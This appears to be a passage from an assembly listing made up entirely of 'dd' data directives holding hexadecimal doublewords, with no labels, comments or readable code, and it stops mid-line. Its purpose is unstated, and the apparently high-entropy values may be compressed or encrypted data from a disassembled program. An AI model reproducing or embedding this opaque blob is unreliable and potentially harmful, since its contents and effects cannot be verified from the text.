dd 0CE880003h, 0EF29A7C0h, 96004C5Ch, 8F1E5E11h, 0FCB134Eh dd 0B9EB957Ah, 1FB30740h, 9D07D9BDh, 0FB19AA51h, 24F8A80Ch dd 125702h, 7C9B058Fh, 2F00ED35h, 2CEF2E72h, 6AE6142h dd 85B2B4B0h, 0FA02C0ACh, 79FBFCC2h, 49FC8086h, 366ACDh dd 7E3339B4h, 75A8BCF5h, 9E44ED1Ch, 5B005F92h, 6B771093h dd 0FD5B3EA0h, 0B6CF0078h, 0DA82CB73h, 4B1C92D6h, 0A7CE2694h dd 9009A04Ch, 90D55155h, 0F0F40270h, 0F3C21DD6h, 0EC229241h dd 0EA00A307h, 0E374C8EDh, 0C0B110h, 7F8540F1h, 82C1D5CDh dd 0F0DB7326h, 0FFE0C500h, 74793Ah, 6A06F6B7h, 6E5F8C4Eh dd 0C1C86D00h, 382E8AD6h, 0F821002Fh, 407E8314h, 0EA78A451h dd 0A937270Fh, 5D6A6096h, 98896CBEh, 0AE410024h, 7A544C04h dd 5B00E1F8h, 0A04709CBh, 0F0EB4Fh, 751CD178h, 51AD3B30h dd 3600F4EEh, 0B44147D3h, 0E7E666h, 5276C608h, 0D1ADFC5Eh dd 0CD00F976h, 1B1DDA70h, 0CF6220h, 0BE2D8A3h, 0D1AC3A80h dd 7DF12B01h, 1F9B9515h, 0C0D3FCh, 4E4AE6A0h, 73EB6A4h dd 1C8D8007h, 4290F316h, 902B51D0h, 45670020h, 0FBB9F963h dd 5CB03383h, 5E07D303h, 313462h, 97727910h, 521926ADh dd 65744F00h, 563EA77Ah, 6F181E3Dh, 92006430h, 83C43180h dd 0DAC020B5h, 9080C241h, 687FBA55h, 0C407BC7Dh, 393BB5CFh dd 9A80D495h, 9615760h, 8AE401FAh, 9359BC80h, 0F3008464h dd 90C87503h, 3D8F5D4h, 381D99D2h, 52009245h, 48C9EAC2h dd 2EFBFDB2h, 9324A6h, 0F034BFF3h, 0C4007436h, 0B2DE938Bh dd 0F62353C5h, 765F0ED4h, 3A206338h, 0AA2D73BFh, 0E0A0500h dd 9F557A40h, 26780047h, 0E5AC5698h, 0E9C6750Ch, 30C721h dd 0EDCC4CA0h, 4246BE2Eh, 9F664100h, 74C407EAh, 17D40058h dd 0CEB53DC0h, 773EF72Ah, 8A48805Bh, 0ECC25C7h, 0D1520473h dd 0C0E20589h, 192E5A70h, 0F1EDE05h, 0D883EFB0h, 0B530D792h dd 5BCFEh, 0A1D9919Fh, 0C3B4CCD5h, 4C743700h, 4DF5249Dh dd 31360039h, 79030C61h, 9B0955EAh, 2CCB318h, 0E01B3CBCh dd 4C4C3E84h, 0F2036C07h, 0CFBE3D7Fh, 84D2C09Ch, 9C00E1DAh dd 0DE2E2855h, 77B4Eh, 72437432h, 0BF2D4C91h, 0AA0E7E60h dd 79EDE3h, 17A25571h dd 0E2BEAFD7h, 25511300h, 0D5EB26A0h, 7B0403DFh, 4F761EC0h dd 3CC027DBh, 2600520Dh, 0A285726Ah, 5C35867Bh, 64004597h dd 1098CE25h, 0B31F7ABAh, 5A802EC8h, 803C881Ch, 0B978267Eh dd 753C90h, 0B8CC6F5Fh, 0A06793D7h, 0C246BA00h, 7F1AE6FEh dd 30853F01h, 0FEB9D85h, 9B08007Ch, 6EE5D9DDh, 1C929858h dd 1502F4EEh, 0C0EAAF28h, 1CDFFD8h, 54FE3FA4h, 0BE8A6FFDh dd 5C090070h, 959F3584h, 970A3ACCh, 6606CD3Ah, 99AC3E31h dd 0CA5E331Bh, 7C77C030h, 78D01D8Ch, 6CDB0C9Ch, 0FB0537BEh dd 0B7866932h, 4B5E2681h, 0B509208Fh, 65F33E5h, 18A47920h dd 0AC06F574h, 8FF1D9D3h, 0FC150068h, 8AC57EA8h, 0A418FA85h dd 0BD4008D7h, 0D29501B8h, 75F54738h, 6BBAE440h, 18466900h dd 0F7886D43h, 1E25Ah, 21781DF0h, 89B299AEh, 506BB513h dd 0DD8B0800h, 102E860h, 0A272FFF7h, 0E4AD3C95h, 9000F4B7h dd 2C6D92B6h, 0F35BC416h, 79D7B180h, 61B97477h, 0B1048D19h dd 0A0C00E19h, 4E710007h, 2FB683D5h, 151870C1h, 787E7BDEh dd 0A60603E1h, 1B74E35Fh, 0FEDA8080h, 0CE4B330Eh, 8D326030h dd 2641DBA2h, 1345306h, 9405D960h, 32626059h, 56845D00h dd 2FEE3D8h, 0D2C8A8AFh, 0FD521F06h, 3112407Ah, 33FF830Dh dd 59085D00h, 7E30D284h, 94CD0C8Fh, 0B6B07D75h, 59EE7B75h dd 9211B560h, 1273A048h, 407CAB9Bh, 904C6308h, 8001A91h dd 515FEC7Bh, 185BD6Bh, 0BAC662E0h, 0C8C3DDB1h, 0F50E1C27h dd 8014D312h, 26BE3863h, 3607A94h, 3C2FD9FFh, 1129F961h dd 615F04FAh, 80180465h, 8D409810h, 391E14h, 127B6E3Bh dd 381C19A7h, 8A659100h, 0EBFA83C3h, 2990E966h, 446188C7h dd 0C42E23AEh, 446FF344h, 524878E6h, 2294CF42h, 76226B5Fh dd 0C0B6224Ah, 0E0780403h, 1843EF6h, 72DF5507h, 0E03FF7AEh dd 0F038430Dh, 67E083A9h, 808B5D91h, 300B38h, 97704EFBh dd 1D5A2CF1h, 0C74FE801h, 189A0EF8h, 7EAD95D8h, 0BDD5026Bh dd 6589C949h, 56E74D60h, 0A1110800h, 1EF66B94h, 37FD00B4h dd 0AD2C24F2h, 1900EF93h, 53D90EB2h, 0FBA6488h, 0C25234ECh dd 0C2B8F40h, 0B706955Bh, 168905F5h, 0A76E0311h, 7431688Eh dd 86E0B0E0h, 7A3C8A04h, 5C9053EAh, 0F27F9682h, 1EE4EABDh dd 809BAD19h, 433145BBh, 4B00BA09h, 3F8026D9h, 0C1F3AEh dd 0DEF1FD36h, 0A5831D4h, 8C6CA600h, 0E50DE12Dh, 64D01E7h dd 8D168C9h, 0BC7BF48Ah, 3F255900h, 0CEB1A075h, 0CBE2E4h dd 1577707Ah, 0B54CBD69h, 0A138E900h, 0CE24D91h, 0F3720055h dd 42E564F2h, 0DA1DBBA9h, 43C11ED1h, 9B7CB065h, 466036FDh dd 1BD7034Dh, 79516D02h, 0F4B2AAC1h, 8FFEEE07h, 521D8000h dd 0E40D175Ch, 7B650055h, 9BF1299Dh, 0A3FE19B8h, 0CED8C500h dd 6F36712Dh, 0A22C005Bh, 99B6E755h, 4407C3F9h, 56069773h dd 0D5A17287h, 43D4259Ch, 389D007Ch, 8A5351FDh, 61030268h dd 97368E4Ah, 5FD00003h, 952C6A82h, 4003C894h, 0E31E4A27h dd 46C2C07Bh, 2378008Eh, 0A495023Ah, 8C006210h, 0E6D34DA8h dd 67C76Dh, 0BC5C91B5h, 0FCE282EBh, 2F63AC0Fh, 6EFE6126h dd 0C60865Fh, 0D9182C62h, 7F4B00FDh, 44417449h, 43822C01h dd 0CDD4EA38h, 36C5D0h, 312DC93Dh, 854EFDCEh, 46E438h dd 2187C46Eh, 5F4476h, 0C726534Fh, 66C03858h, 390EA2F4h dd 40037AA1h, 0B64B4DAEh, 873001Fh, 6EC65335h, 0AC008388h dd 7036E94Fh, 3ADB07h, 61331FF1h, 0C49A727Dh, 0D8A1D528h dd 63141500h, 79B47B9Fh, 5661FB35h, 0F64288DCh, 0FAEB78D2h dd 231500D4h, 6758F244h, 0D773F025h, 0A2A4E0Ah, 0E807DCD3h dd 65106442h, 3897441h, 0EA8BE26Bh, 0FA980E1Fh, 38C05CF7h dd 0C28D9AD6h, 66EC0024h, 0FDA5A742h, 0AB004E4Bh, 9BEEC3E1h dd 770BB48h, 0CB06E99Eh, 94B2602Eh, 2F1D1583h, 52815B21h dd 285C8DF2h, 0C01020h, 673CF759h, 6538D9F4h, 540B1490h dd 0F9CF4Bh, 813DEB8Dh, 2D18C064h, 17F2E870h, 51506800h dd 5866D452h, 0EEACA0BAh, 0EEF7E12h, 0FB166D8Ch, 24008DCFh dd 0F1D12C7Fh, 14909500h, 0C46BD789h, 347E1D65h, 859F003Fh dd 1D390151h, 965A541Fh, 740C3A40h, 0B781C2h, 0A61AA73Ch dd 52273307h, 0BF632001h, 399B343Eh, 7D869F4h, 0D27C62F9h dd 445F83F0h, 0E8A0A682h, 0AB81274Ch, 8CC2201Fh, 36EFF340h dd 86C967h, 1A3B97EBh, 9CE0B46Ah, 0ED172F00h, 53A3207Bh dd 0BD21045Fh, 80261338h, 0EA4BD6A8h, 0D39ECD00h, 99C6E59Dh dd 0C37FC7h, 0ADBE1C47h, 63D65C81h, 4CC5F900h, 4A25E067h dd 537E1498h, 8600F213h, 0C106C0E1h, 0D7095515h, 8F7B6107h dd 6A3DE08Bh, 0EC3C1441h, 978301F2h, 50780C15h, 0D8A7F846h dd 0EB48260Fh, 57026081h, 0E4B9DE3Ch, 8DF4EBBBh, 349200EDh dd 4EA3A541h, 39E89815h, 2185FF00h, 6F1B5A7Ch, 7238005Dh dd 0E1CB6925h, 62000748h, 0A3318E77h, 0E6A78712h, 825E03D7h dd 7093CA04h, 782741B8h, 14E12800h, 296FFC55h, 15C90053h dd 76B24EC1h, 1900F9AFh, 0DD95243Dh, 38758086h, 78806C71h dd 37EE58ECh, 8901FAD4h, 0AF454F28h, 99C1B5D2h, 0FA26CBD8h dd 3C8F7D15h, 49036B5Ch, 81C96E5Dh, 927D3001h, 4D707FFh dd 1F45F8h, 375F08DAh, 8B36E4C5h, 315D2A00h, 0A4264346h dd 86DF001Ah, 0BF873A47h, 270152ADh, 5F9FDA7Fh, 40F875FBh dd 5890ABh, 665E68D6h, 333E7434h, 54D3D402h, 40614DC7h dd 7BD63A85h, 2DF4FD5Dh, 7946004Ch, 7CE771AEh, 41030959h dd 0DEA27F75h, 6C339894h, 588048DAh, 2E52DF00h, 2326AEE8h dd 4C593400h, 0C4FA62D1h, 3EF50057h, 1A74DB36h, 4B0018AFh dd 0E267B597h, 0B1BE92h, 0DD413D6Fh, 477E4ABAh, 4BB391Ch dd 24A38EFEh, 9900DE13h, 0D0CF8976h, 41CC0FEFh, 9D807F64h dd 0CB329508h, 0F2499100h, 0E6FAB43Fh, 41B7077Dh, 60DD2AC4h dd 4F406F8Eh, 7AE52500h, 0DE5B130Eh, 4E060034h, 32F4F64Ah dd 0AE04FD11h, 8FC15447h, 0E84F2480h, 0A04003Ch, 0FD754C1Ch dd 6B017913h, 7CD48665h, 0A2DC397Dh, 0F41C0FE9h, 0BC010D3h dd 76A623D1h, 75FFC300h, 5BD74C45h, 0A7470266h, 285E9560h dd 0EFC61C40h, 43E46800h, 664FB8BBh, 6718C025h, 0CA026B0Eh dd 0CE0EB8B0h, 403F5B43h, 6F7D44DAh, 0EFDF0D09h, 80A68720h dd 86FDA1A8h, 2843AE0h, 516FFAD3h, 64C00B0Ah, 0D776C747h dd 14FD4101h, 186E8650h, 7FD66880h, 0EB73E2B6h, 0B0321C02h dd 0C0C3ECF4h, 1F27E134h, 40F97436h, 9A2B618Ch, 5E00A34Bh dd 1640F145h, 0C0AAA527h, 111F8B11h, 0E77A9CC9h, 3E5DB00h dd 73BBEFF8h, 4835705Ah, 9500D569h, 8CB88546h, 0C4FFE6F6h dd 343EBD30h, 1EAE807Fh, 0A6CFE318h, 0A1B60021h, 0E7828DFCh dd 20009D4Ah, 0BC31B381h, 3B46B0FEh, 0C100729Fh, 2F3364E4h dd 0A11BC58Bh, 0C896DF11h, 0F0F3E80Fh, 7790A092h, 5798000Dh dd 4A2B8332h, 7D097A50h, 0A789BFA0h, 49D01F14h, 9F1CECh dd 0D66FB3CFh, 0CC82FCA3h, 1660B900h, 790220C0h, 847D09ECh dd 88738C7h, 4F96222Dh, 8ACABC60h, 63F4AA00h, 0A9297E7h dd 0C7A60044h, 0E9B8950Dh, 43E65C5h, 0ECCD81ABh, 22CF9AE4h dd 43E430h, 21338551h, 741F3FF4h, 0B91BAF00h, 0F9A82516h dd 4104C36h, 0BC9BC100h, 22CD0F14h, 7ED6A00h, 0C9766075h dd 8FA00EFh, 6B16389Bh dd 0B014377Fh, 809591h, 0D70A88F7h, 3AA037Bh, 0FFFDD1F5h dd 0A0C35520h, 89F23A8h, 9A6CC91Dh, 0EF2A4C80h, 8B0A58h dd 0E0384B02h, 80534198h, 0FD6EF902h, 3334705h, 539C3EADh dd 38B53C20h, 0BDBE2483h, 0E492008Ch, 1B9F7832h, 8644A607h dd 0B0309661h, 3FB4AACFh, 0CD030AA0h, 0EDA6AD68h, 0C528A0A4h dd 0AE000E7Eh, 0EFD82AC3h, 9576E3h, 0C93C63CBh, 0D7583E1Fh dd 15E6FD00h, 0FCFFBFEDh, 26F300F7h, 44BB6CEFh, 6780ED4h dd 0BC59A5Ch, 89AD58A3h, 46F700E7h, 1649009h, 0C5B6323Fh dd 8EBC6528h, 0D0F1B0h, 0A2A67731h, 198CFA1Bh, 7841DCBBh dd 5D9A8F58h, 52648171h, 0C07B9716h, 0B15A0C91h, 2711C460h dd 0E2A9F7B6h, 79C100D7h, 94A2D871h, 0BDEEDF9Dh, 933B1200h dd 615FB6FFh, 0AFF0248Bh, 97F700E4h, 2C5D3F7Fh, 446ADA0Bh dd 0A7BC8033h, 0B8FC3BBCh, 0BF4F0091h, 0CF7D3D80h, 0EB6F953Ah dd 0C56BA0B8h, 0F3B206h, 5DEDB44Bh, 5463B898h, 0C253A400h dd 7680ACB0h, 0E7123344h, 9D983564h, 9E4CA0DAh, 741C4CA2h dd 8C00A098h, 8A516C88h, 7F4C25h, 58F355FDh, 799BB80Eh dd 0F2BDB900h, 0A7DEB4C3h, 3E709DECh, 0EF73BA00h, 0FF99A370h dd 39ED0E1Ch, 0E5009F45h, 0B5F4B9D6h, 0A1472E00h, 0F288FDC1h dd 930D00BAh, 57C2DB17h, 787C419Eh, 485D8100h, 6F5B582Eh dd 83D600E0h, 69928FCDh, 61007AF0h, 59FAC256h, 0EA0C11h dd 0CEC098F3h, 8D368C7Eh, 0B8E05E00h, 506227CBh, 5AEB07CAh dd 0F0D5CD69h, 9729BCB6h, 300088EEh, 65233AEFh, 2D7F25h dd 0B14C5F73h, 8007D1CEh, 46008E7Ah, 0FA70F59Ch, 4C71FB2Eh dd 0CE005CA3h, 0B8F7FDF1h, 0A62E632Dh, 0F300DD10h, 0AE5BC549h dd 0A2A32C77h, 0CAFD00F3h, 0DE1B7F2Bh, 1FC47D1Ch, 39D80381h dd 24DCC7E8h, 0EFA90072h, 3E6CA727h, 3D00CC6Ah, 0C2127509h dd 1FADD72Eh, 40FF4C1Bh, 0BDEB06DFh, 4213ED39h, 9A009C74h dd 6035E497h, 34F23Ch, 0B9011FDh, 8DC985BCh, 80E7A13Dh dd 69CD252Fh, 5643277h, 1A892907h, 0F6163Eh, 0CC7D6DECh dd 0DC09877Fh, 604F0AEBh, 485E1Ch, 1C8F8231h, 0E14BDED8h dd 6E3FB501h, 0E4B46DECh, 6074C2Ch, 0C009176Ah, 80D2AE93h dd 0F61B4C37h, 64C0D1C4h, 77AB7013h, 151A039Dh, 0FFAA4006h dd 7AFC6AC0h, 0FC0D7624h, 8B0ED080h, 0C9CB3607h, 80003526h dd 0FA5D339Bh, 7244A3Bh, 9ACD310h, 5C2F5F00h, 0F442E95h dd 91033865h, 0FD7353A6h, 0E73F9790h, 3241921Eh, 13780340h dd 487548F9h, 9C50C61Ah, 49CA000Dh, 0BC184067h, 0D8B0FDE8h dd 3C106D00h, 9FF5C97Dh, 0A06F0114h, 168EDC7Ch, 9911E8D4h dd 3B108D0Eh, 0A9756074h, 36D070h, 76B1B535h, 0A20F1E38h dd 0D33B0600h, 5E4D688h, 253700ACh, 0CD9DC703h, 34002085h dd 9024F04Dh, 4F1DE2h, 53F85DB8h, 9FC7E40Bh, 36005C98h dd 7362AD61h, 0FE81CD6Dh, 638C1E50h, 90EB0740h, 5C479005h dd 0DB025188h, 0BFBD52CFh, 86084175h, 0E83AF9DBh, 0FA613DECh dd 0AB400013h, 48AD18CBh, 3B17CD41h, 43005064h, 20860EFEh dd 0AC9717BAh, 0D214415Ah, 2021BF9Ah, 49003EEEh, 62D054Eh dd 611BDDAFh, 1847762Fh, 1F70C812h, 0F127E190h, 61508097h dd 52F28CCh, 73372354h, 0E20C90CDh, 0D0022D4h, 0B899BCEAh dd 0FB73170h, 0C49CECEBh, 844A00F2h, 3C03CF80h, 2E9D4500h dd 3E78AB2Dh, 0DDB60652h, 5E6CADBDh, 2902BE00h, 6481A508h dd 5E5D030Eh, 51C72FFh, 0B2DD0CFh, 7D0223A9h, 0D40A0665h dd 123B600Ch, 79D63D48h, 0F7D0EE03h, 78C02DA1h, 5A001F09h dd 0C5838602h, 11D11F4h, 56B042ECh, 9F207DEDh, 4DD3A428h dd 680F8200h, 0AA60Eh, 3D376158h, 3A1077F8h, 7100397Bh dd 56D97232h, 220C3Eh, 0B90B8B27h, 709A8359h, 0C7776D00h dd 0FD56341Eh, 0B187017Eh, 9180B943h, 0F3CDDDFEh, 0F8118087h dd 360159C4h, 3B69C0BAh, 87706AE4h, 305B0090h, 7F4AAAB5h dd 0E7009907h, 66E97994h, 0E46C0D9h, 272B3A82h, 60F8C240h dd 7FE05F77h, 6D1298A8h, 0EAD8AD00h, 0BCFA0C27h, 25B11E9Ch dd 0C0013FF3h, 0EA883C2h, 70F4F096h, 9700E57Dh, 0DE84061Bh dd 98FA1Eh, 0B90F0412h, 4B20CB7Dh, 0F474DC00h, 910EB16Bh dd 0A2230007h, 0E6EEF313h, 6F005729h, 0CA1B623Dh, 33CC91Fh dd 454B403Fh, 0C5A0FC8Fh, 0EE00D434h, 24862D5h, 0F5E98Eh dd 98514047h, 0D69D35EAh, 4BBF7E00h, 0B2382C1Eh, 0D5B11E2Bh dd 0E4038097h, 1558918Eh, 4BFE9A03h, 986336CBh, 7C739590h dd 7E74E43Dh, 0F2F40F9Fh, 0AB6381BDh, 0B78864DDh, 0DA0760A0h dd 0F74A44CFh, 171E45D0h, 0AA7514h, 7E519EB8h, 0E72EA625h dd 8207AEF0h, 939F4D3Bh, 56C05915h, 0C60717h, 4EB144A8h dd 76714702h, 89C540C7h, 5ADA0500h, 0BCCC09EEh, 4400DF48h dd 0D985225Eh, 19301800h, 7E53064Fh, 9FA714F3h, 0A000D496h dd 2909BB3Eh, 387FEA6Fh, 3C00D9F4h, 0ED588087h, 25018Eh dd 50182EE4h, 2A34667Dh, 0E755CF05h, 0C4404445h, 41118C9Ah dd 8A70A8h, 158B9D30h, 39934647h, 0D5983100h, 0A0ECA5A9h dd 0D2ED1E81h, 0F7690C3Ch, 8A80DA11h, 0E02289C4h, 5B0042DEh dd 30908F05h, 0F04B5E1Bh, 2A8900FAh, 44833B29h, 6D001999h dd 85DC9390h, 929F02E5h, 0F51B3E40h, 8BAA500h, 863226E1h dd 2B29211Ch, 6809B00Ch, 6CAB0964h, 0BC0E3565h, 50CB10Ah dd 5C85E38Dh, 2A788090h, 0BAF82824h, 3986C600h, 7E6D5255h dd 44A11D08h, 30758064h, 4A20F948h, 51BFFB00h, 9A992B53h dd 0C9450005h, 0EF1F44B2h, 1800D856h, 0FBCAEC2Eh, 133658Bh dd 4DE6C6F6h, 0E7792A53h, 481792Bh, 6250CDF0h, 0FA510A3h dd 6AD8B2E0h, 25ED1200h, 0AB6E913Eh, 83E01F1Fh, 9DEC09DEh dd 0C79FB287h, 412FC1A1h, 0B586F0DAh, 293A4A0Ch, 0C495965h dd 75AB778Ch, 0A5220A50h, 950D0E24h, 28981804h, 71287867h dd 197C946Ch, 702E1101h, 3DFF218Fh, 30E20C0h, 2771DDB3h dd 0B914931Fh, 30607279h, 0E0C3D1E6h, 59256028h, 741732DAh dd 7A217F01h, 1A0E3E8Fh, 40AD7048h, 9A73F965h, 0C5FAE501h dd 9749F051h, 3DFE891h, 0F3952AABh, 5C0AB86Dh, 4405EE09h dd 4D15236Bh, 804C8476h, 6B9650F3h, 0A3083A74h, 0A926F19Bh dd 7328E1A8h, 1E0694A4h, 20270422h, 89ED0CA8h, 17386EBFh dd 0E1C7EC3Eh, 0F61BB119h, 5D854F07h, 0FA940124h, 70962C75h dd 4E0C2517h, 0D84134EEh, 705160CAh, 9340EA4Fh, 0FC11E0A2h dd 789CF033h, 61118A63h, 66838D4Ah, 0CD99F40h, 0C09F08D0h dd 4A42CB21h, 0E019616Dh, 0DC499505h, 0A20970h, 0AD86FB5Bh dd 0EF294482h, 0E4FF9D07h, 9EB15973h, 908198ACh, 0CCDEA084h dd 2E84500Ah, 44394A25h, 706506A4h, 60085C8Dh, 2DCF2131h dd 0F384E4Ah, 5E378009h, 4D28A652h, 2B6E0FDh, 0FE868A0Bh dd 30844254h, 4A3260DFh, 4CA42347h, 0C8003B11h, 2A464A3Ah dd 8703401Eh, 59AB0178h, 60210020h, 0E38171Ch, 5400C3C7h dd 0A32DBBF2h, 12794A9Ch, 1F912E2h, 0F0DA5860h, 0B8410374h dd 1615BC39h, 8FEB23h, 0D2FEC2F6h, 7400C443h, 49F54411h dd 0D91B82h, 8A68D063h, 337DF346h, 670FA000h, 83F6EA80h dd 0EA4B7EF2h, 2E60EB5h, 0C03EE7B4h, 0F3D3182Ah, 47003467h dd 0E3E29B4Ch, 77F8E68h, 58B2F18Bh, 520570A4h, 9034AA5h dd 0C89D6D6Bh, 2F0CB002h dd 0C2CD1639h, 363A0FC0h, 0EDEE9300h, 6505C73Dh, 66CAF29Bh dd 16427B80h, 0B2C0058h, 0AA97DA78h, 463864E7h, 59778041h dd 0C2DCF214h, 0CC10C14Bh, 0D025ABCBh, 0EE0C7142h, 486EAD7Dh dd 7CE40362h, 773E89FEh, 415182E0h, 71506803h, 53DEE9h dd 9732F508h, 0F88F528Ah, 77683500h, 60BBB64Dh, 0BF70014Bh dd 0E2642A38h, 424980AAh, 4AE96898h, 0BED60081h, 19CBD2Dh dd 39F86B52h, 0E8B5DD00h, 3FF2600Ch, 0F8B3876h, 9A53C601h dd 0A94EDCh, 37F2427Fh, 90A102F4h, 7AFA78CAh, 6A48AD00h dd 3ABC4D8h, 67183C8Ch, 3E684E00h, 739939CCh, 0D07CDE00h dd 40050EE1h, 93470031h, 0E5CF7B80h, 0D975C2B0h, 0C1A5B400h dd 0B364FF9Bh, 9CB0647h, 8333EC5h, 0FE219361h, 442064C7h dd 6B2F2B5h, 0F5CD78D9h, 8A0120BBh, 59272E15h, 0B07A3558h dd 2978A0EAh, 0FFA17A00h, 2D552C78h, 86C31547h, 68B84075h dd 2770DA1Dh, 356BD800h, 0CEACBF7h, 97535CBAh, 731D8458h dd 7E6A7Dh, 0B4BC3D39h, 180DC04Fh, 0B0C1A48Ch, 911FB305h dd 0B09C3AFAh, 3D84324Fh, 0E7217B59h, 325590CCh, 65506F40h dd 7121A526h, 0DF853B4Bh, 5381D680h, 26D1F1CEh, 64B0A51Ch dd 0A9429B1h, 607D6C4h, 37D365ECh, 0B86008E9h, 0AC2F721h dd 7AA001ACh, 0A27F42EDh, 0F6B5C407h, 84BA1301h, 0AED921ABh dd 937C7087h, 0B0E6102Bh, 87317F80h, 70D8F0E7h, 9DD4CCh dd 0E4A35F52h, 8E83F967h, 0C7FD500h, 0DFBD3F0Ah, 0FE770739h dd 0A07E7931h, 62F2B4CEh, 85A5D403h, 0D133F66Dh, 11A1A638h dd 918A5004h, 0D510AF67h, 93BF08E0h, 9ACF00F9h, 674EFB64h dd 0AB00C83Fh, 0B2A94A8Ah, 62EAD5A4h, 9E6B2909h, 29DF0C2Bh dd 0B9228426h, 9D6722FCh, 42A03C22h, 10311122h, 22288328h dd 0BE22C7C0h, 1443503Eh, 0A6B0887Fh, 73789C7Bh, 5B6DE81Fh dd 9144A5C0h, 777CBDCBh, 0E9FCA8h, 5DE5E0FFh, 93375C8Fh dd 0DE2D0500h, 3CA25446h, 0FAAC0066h, 4032AF04h, 5009181h dd 2C2288DAh, 11ACE0Eh, 44A01F4Dh, 0D499270Ch, 93A8134h dd 40C600D8h, 0E1DAE0C2h, 2F5C0061h, 7C4F3829h, 687711C9h dd 5E0B9F00h, 477CC95h, 0E77F0365h, 2B3D1DD3h, 9E4D76A8h dd 714C000h, 3BCBAC05h, 33C26E5h, 39FE0059h, 84F91626h dd 0BFA8D8A0h, 0B0382E24h, 0F4C78000h, 3B097A61h, 5CAF2DF5h dd 0A703AFF0h, 0EDA0ADECh, 7664908Dh, 0F140E329h, 90E7BAACh dd 3C25F258h, 800C0C1h, 0BF1A123Ch, 0A90CE8B1h, 0A0DDDE80h dd 38487F35h, 504C8DD9h, 40595112h, 90C1571Ch, 5800ECE5h dd 0C35F398Fh, 0D3E035h, 1F332AA3h, 6E192F01h, 1EB839h dd 0B2AC1CA2h, 70A3931Ah, 63680062h, 0F81D448h, 8F00C524h dd 45C625A1h, 7838C3Fh, 0DA7A425Dh, 27D1304Ch, 0DE03F78Bh dd 0E1AF343Eh, 2EFE88BEh, 50E035h, 81CDFD5Fh, 5515081Ah dd 0DFFF6401h, 2B1F6C90h, 74327C70h, 611407CCh, 82C06Ah dd 0CD238770h, 0EB4BF700h, 0A33E7418h, 0C9340001h, 0D4F3BF1Eh dd 2D1CCC53h, 0AE009DFEh, 3DD9E71Ah, 0E92F00BAh, 57C89E29h dd 6C14E20Dh, 1E8CEE77h, 28800167h, 0A5E096ECh, 586B0072h dd 745A4987h, 1C305FD4h, 0BDB82466h, 5B250735h, 50E9CB9Ah dd 7A2E3EB6h, 0E401FEFCh, 67E7BC96h, 4820DE48h, 47A30072h dd 1A228653h, 1113F4A5h, 3D00FA92h, 0BF458B26h, 0DE8001Dh dd 90054F18h, 0D500C9AAh, 6361A566h, 2CD3F55Dh, 7445A5Fh dd 0F075A119h, 2B846CD7h, 20C6A730h, 50403C59h, 3B06DCE2h dd 6A0068B6h, 0ED03E073h, 0C648AA69h, 1B3A0024h, 0A3355F54h dd 8E073FBAh, 0F5BFAC00h, 0B19EC1F0h, 57034802h, 682F1B65h dd 1B146338h, 61A4C78Dh, 0A9E644A8h, 547C92EAh, 0F9B6D400h dd 3B9E457Bh, 69CC007Fh, 7C2D1699h, 753CF00Ah, 0A8DC31F4h dd 0DECC844Ah, 691F0061h, 0C2B62D88h, 88A021F9h, 7E3A244Bh dd 4DFC00FFh, 904AA205h, 0CC9A02EBh, 0BF7BE33Ah, 2792E5C0h dd 16A1BA00h, 0D2EC9645h, 3FFFAC2h, 5C68977Bh, 1AD88D84h dd 14F2F9B2h, 1C000490h, 3F2BC54Bh, 737F2F7h, 60CF1358h dd 26456249h, 0EFCD8BE0h, 0E70020EAh, 1B98FB2Dh, 0ADCABFCh dd 35DA3EF7h, 22803A88h, 93FA5FFEh, 4F0FFBEAh, 178EF51Bh dd 668DA0h, 7F8CFF21h, 22DB0F56h, 3A6D9507h, 0D487BEAAh dd 0F870F6h, 7AC823B3h, 0C41ED29Dh, 0DDEDA9FEh, 212C40C1h dd 0D509B814h, 1BB7EB71h, 0D8DFA3DCh, 0FCF96Eh, 0B93E53F5h dd 677CBAEEh, 186025Ch, 9368CC6h, 0A8CB40DAh, 7F7ED587h dd 0FD1D13C9h, 79A42039h, 17000F92h, 5EB6F5FBh, 1FB7C0A6h dd 0C2963BACh, 347EF04Ah, 0AA32D140h, 82D32C3Eh, 0A8C6C1F1h dd 308B409Dh, 4F410012h, 1E227C2h, 2B0069ECh, 0DB94D19Bh dd 2C8DFB48h, 7AE667h, 322FAACFh, 0E000BEB7h, 0E13D6330h dd 0A6EDF3h, 4681853Ch, 0B5751C29h, 0BBC4000h, 6AC46710h dd 0CCCCF974h, 1DC077Eh, 0C0345B77h, 0BA814DE7h, 63EFE21Dh dd 0AE10E598h, 4BDB0F87h, 0EBA024D9h, 5626F0E0h, 0EA410500h dd 0F50311FDh, 37360CACh, 0C1901943h, 0F728A400h, 2A690829h dd 0F8263A06h, 0ABDDE500h, 4D45CA6h, 7F23B800h, 0FDDF65ACh dd 0D951001Eh, 0CD6466D0h, 2B3B9AEDh, 0CBF60105h, 8369D8E3h dd 30620CD0h, 0F4C04FBFh, 7600C806h, 61C29EDFh, 1D3DC997h dd 807F59E3h, 24EDB122h, 430C3458h, 10AF6E47h, 5679008Bh dd 0D13EE659h, 7A0319F5h, 0BED8B47Fh, 1FF4B86Eh, 0A38B050Ah dd 8051DACAh, 0FA4CA6A7h, 0B2B31400h, 2723707Fh, 6FB102B5h dd 12815CFFh, 44B9E441h, 9B38C0F3h, 0D090F542h, 14542300h dd 7B6860EDh, 7005079Fh, 0D4B61DB2h, 0C5E8803Ah, 1B054841h dd 969A6C5Ch, 0ACCADFC1h, 0AB3060h, 4B12865Dh, 0DE911A2Bh dd 0E3EC6400h, 2E632278h, 0EE7A00D3h, 16FECF09h, 0BD1224B1h dd 0AA005F8Fh, 722DAC3Ah, 318400B5h, 489A3429h, 8B00C3B8h dd 705847D5h, 7EEAB1Ah, 5C23DCD3h, 7A0C63BAh, 5B0672C0h dd 61FFD112h, 0E60A7400h, 13AB694h, 55410CBBh, 0FC170735h dd 0D27DFF56h, 80B87939h, 0B4FB5AC7h, 1F6490h, 24E8204Eh dd 5272A751h, 943AAD2Eh, 4834B400h, 73032122h, 0B89549D3h dd 78804Ch, 0AF58B22Eh, 0B6288AC3h, 1B0ED67Dh, 2699C6h dd 68D0E65h, 0DE4F0035h, 20CB3FA3h, 47009C6Fh, 1D9E9D94h dd 58625177h, 0B20368BBh, 0F8711CBh, 0B56A4980h, 0D9A69F13h dd 780DC407h, 0BF36A491h, 71AF9E0h, 0C58A714Bh, 0D5D600BAh dd 93005F4Dh, 59CCB952h, 127F42A6h, 0B09510C6h, 1800D334h dd 0F18F4072h, 5005791Ah, 0F9850h, 3A1241C1h, 6EE352F3h dd 0B1CE5B00h, 93A1298Ah, 73F8E9h, 705DD560h, 4ED87E31h dd 